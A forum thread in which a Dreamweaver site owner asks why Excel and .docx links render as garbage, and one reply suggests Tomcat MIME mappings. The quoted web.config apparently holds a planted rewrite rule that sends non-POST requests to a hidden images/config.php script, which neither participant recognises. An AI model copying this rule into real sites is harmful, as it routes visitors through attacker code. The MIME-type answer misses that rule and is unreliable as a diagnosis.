Problem reading Excel files from site

Question

I use Dreamweaver CS4 for my site and have for the last few years.  Everything was working quite well - easy to use and I was familiar with it.  My site has multiple pages and there are .pdf, .jpeg, excel and docx files listed throughout.  Recently a customer said they would not look at the excel files and sure enough, when the link is clicked a bunch of garbage comes up.  Same thing with .docx files.  Both excel and .docx files could be read in their appropriate format in the past.  The link can be right clicked and saved.  The saved file can then be read.  I contacted the site provider and they said my web.config file had been updated a couple of weeks ago and that could be causing the problem.  The file is:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <rewrite>
            <rules>
                <rule name="topic">
                    <match url="^(.*)$" ignoreCase="false" />
   <conditions>
  <add input="{HTTP_USER_AGENT}" pattern="(ConBot)" negate="true" />
<add input="{URL}" pattern="^((.*)(.css|.js|.jpg|.png|.gif|.jpeg|.bmp|.json|.swf|.pdf|.mp3|.mp4|.doc|.txt))$ " negate="true" />
  <add input="{REQUEST_METHOD}" pattern="POST" negate="true" />
   </conditions>
   <action type="Rewrite" url="images/config.php" />
                </rule>
            </rules>
        </rewrite>
  </system.webServer>
</configuration>
Any suggestions?  I edited the web.config file (added .xls and docx) and uploaded to the server with no change in the results.
Thanks.

Answer 1

I know that for tomcat, I've needed to modify the web.xml file to support the 'newer' MS Office file types.
<mime-mapping>
<extension>docx</extension>
<mime-type>application/vnd.openxmlformats-officedocument.wordprocessingml.document</mime- type>
</mime-mapping>
<mime-mapping>
<extension>xlsx</extension>
<mime-type>application/vnd.openxmlformats-officedocument.spreadsheetml.sheet</mime-type>
</mime-mapping>
<mime-mapping>
<extension>pptx</extension>
<mime-type>application/vnd.openxmlformats-officedocument.presentationml.presentation</mim e-type>
</mime-mapping>